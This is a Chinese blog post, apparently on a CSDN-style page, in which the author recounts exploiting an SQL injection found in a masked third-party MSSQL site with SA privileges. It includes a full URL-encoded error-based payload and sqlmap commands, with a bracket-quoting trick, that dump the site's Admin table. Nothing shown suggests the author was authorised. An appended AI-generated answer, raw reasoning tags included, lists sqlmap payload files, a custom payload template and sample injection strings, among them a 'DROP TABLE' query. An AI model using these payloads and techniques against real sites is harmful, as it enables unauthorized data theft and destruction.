sqlmap注入检测经验0x01

本文记录了一次使用SQLMap进行SQL注入攻击的过程,包括解决数据库名和表名被误解析为参数的问题,通过调整SQLMap参数及手动修改payload最终成功获取数据。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

某日偶遇一SQLInjection Point,MSSQL 2008,已开启显错模式。
马上扔进SQLMap跑,一路顺畅,竟然还是SA的权限,心想运气真好,无论如何都拿定了。
数据库,表,列都列出来了,但是上–dump参数就死活跑不出来。
报错 “unable to retrieve the number of entries for table ‘Admin’ in database ‘2012_xxxx’”——x是马赛克哈:)
心想应该很容易搞定,遂查找手工注入方法,测试无果。
还是回到SQLMap,-h查看帮助,发现-v 参数可以指定输出详细度,开到-v 3,发现显示了payload,一不做二不休,直接开到-v 5,发现提供了整个http请求,怪不得报错,原来都是返回500,用firefox打开完整payload,说是语法错误。

Xhttp://www.xxxx.cn/xxx/detail.aspx?id=218%20AND%204416%3DCONVERT%28INT%2C%28SELECT%20CHAR%28113%29%2BCHAR%28115%29%2BCHAR%28119%29%2BCHAR%28100%29%2BCHAR%28113%29%2B%28SELECT%20ISNULL%28CAST%28COUNT%28*%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%20FROM%20%222012_xxxx%22..syscolumns%2C2012_xxxx..sysobjects%20WHERE%202012_xxxx..syscolumns.id%3D2012_xxxx..sysobjects.id%20AND%202012_xxxx..sysobjects.name%3DCHAR%2884%29%2BCHAR%2866%29%2BCHAR%2895%29%2BCHAR%2865%29%2BCHAR%28100%29%2BCHAR%28109%29%2BCHAR%28105%29%2BCHAR%28110%29%29%2BCHAR%28113%29%2BCHAR%28107%29%2BCHAR%28122%29%2BCHAR%28104%29%2BCHAR%28113%29%29%29

显然是2012的问题,也就是应该是错把库名中的数字错当成参数了

在URL的库名加上双引号包裹,果然就可以爆出数据了。

问题又来了,要我手工爆数据我可搞不定,还是要回到SQLMap啊,意思是要想办法把库名包裹起来,不让系统把它解析成一个参数

XTEST1: ./sqlmap.py -u http://www.xxxx.cn/xxxx/detail.aspx?id=218 –dump -D”‘2012_xxxx” -T’Admin’

这次好一点了,还是报错unable to retrieve column names for table ‘Admin’ in database ‘”2012_xxxx”‘,意思是有返回了,但是库名不对。

XTEST12 ./sqlmap.py -u http://www.xxxx.cn/broadband/detail.aspx?id=218  –dump -D”[2012_xxxx]” -T’Admin’

我也不记得哪来的灵机一动,改用中括号包裹,果然就成功了,dump出整个表了。

XCONCLUSION:在使用SQLMap时可以使用-v参数指定输出详细度,然后直接用浏览器查看payload,确定语法错误点后想办法改进。在遇到系统误判库名表名是可用中括号包裹名字。
<think>嗯,用户想要获取sqlmap中所有的SQL注入payload列表。首先,我需要回忆一下sqlmap的相关知识,以及它的payload管理方式。 记得sqlmap是一个开源的渗透测试工具,主要用于自动化检测和利用SQL注入漏洞。它的payloads是存储在特定的XML文件里的。比如,用户提到的引用[5]里提到,payload存放在xml/payloads.xml中,而且用户可以根据格式添加自己的payload。所以,用户可能需要找到这个文件来查看所有payload。 不过,用户可能需要更直接的列表,而不是自己去翻代码。但根据引用[5],sqlmap的payload分为不同测试类型和风险等级,比如布尔盲注、时间盲注、联合查询注入等。每个类型可能有多个payload变体,还可能根据数据库类型不同而不同,比如MySQL、Oracle等。 用户的需求可能不仅仅是列表,还可能是如何使用这些payload或者如何自定义。比如引用[4]提到sqlmapPython安装,而引用[2]和[5]提到了如何结合Burp使用以及payload的等级设置。因此,在回答时需要说明payload的位置、结构以及如何查看和修改。 另外,用户可能没有意识到直接获取所有payload的复杂性,因为它们是动态生成的,并且根据测试情境调整。因此需要解释sqlmap的工作机制,比如自动选择payload,而手动获取可能需要访问其GitHub仓库或查看文档。 还要注意引用中的信息,比如引用[1]的SQL_Injection_Payload项目可能包含一些payload示例,但sqlmap自身的payload更系统化。需要区分两者,避免混淆。 最后,用户可能需要相关的问题建议,比如如何自定义payload,如何测试特定类型的注入,或者sqlmap的高级用法。这些问题可以帮助用户进一步深入。</think>关于sqlmap中SQL注入payload的获取与使用,以下是关键信息整理: ### 一、sqlmap payload存储机制 1. **核心文件位置** sqlmap的payload定义文件存储在`xml/payloads.xml`中,该文件按注入类型分类(如布尔盲注、时间盲注、UNION查询等)[^5] 2. **动态生成特性** payload会根据目标数据库类型(MySQL/Oracle/MSSQL等)自动适配,实际发送的payload是基础模板与数据库特定语法的组合[^3] 3. **风险等级控制** 通过`--level`参数(1-5级)控制payload复杂度,高级别包含更多边界测试用例 ### 二、获取payload的三种方式 1. **直接查看源码文件** 访问sqlmap的GitHub仓库(https://github.com/sqlmapproject/sqlmap),查看`xml/`目录下的payload定义文件[^1] 2. **调试模式输出** 执行命令时添加`-v 3`参数,可显示所有测试payload: ```bash sqlmap -u "http://target.com?id=1" -v 3 ``` 3. **历史记录追溯** Windows系统下成功注入的URL会保存在: ``` C:\Users\[用户名]\.sqlmap\output ``` 包含实际使用的payload样本[^2] ### 三、payload自定义方法 1. 在`xml/payloads.xml`中添加自定义payload节段: ```xml <test> <title>Custom Time-Based Payload</title> <stype>2</stype> <!-- 注入类型代码 --> <level>3</level> <!-- 生效等级 --> <clause>1</clause> <!-- 适用语句位置 --> <where>1</where> <vector>IF([INFERENCE]) WAITFOR DELAY '0:0:5'</vector> <request> <payload>IF([RANDNUM]=[RANDNUM] WAITFOR DELAY '[SLEEPTIME]'-- </payload> </request> </test> ``` ### 四、典型payload示例(MySQL) | 注入类型 | 示例payload | |----------------|----------------------------------------------------------------------------| | 布尔盲注 | `' OR [RANDNUM]=[RANDNUM] AND '[RANDSTR]'='[RANDSTR]` | | 时间盲注 | `' OR SLEEP([SLEEPTIME]) AND '[RANDSTR]'='[RANDSTR]` | | UNION注入 | `' UNION ALL SELECT [COLUMN],[COLUMN] FROM [TABLE]-- -` | | 报错注入 | `' AND GTID_SUBSET(CONCAT(0x7e,(SELECT USER()),0x7e),1)-- -` | | 堆叠查询 | `'; DROP TABLE users-- -` |
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值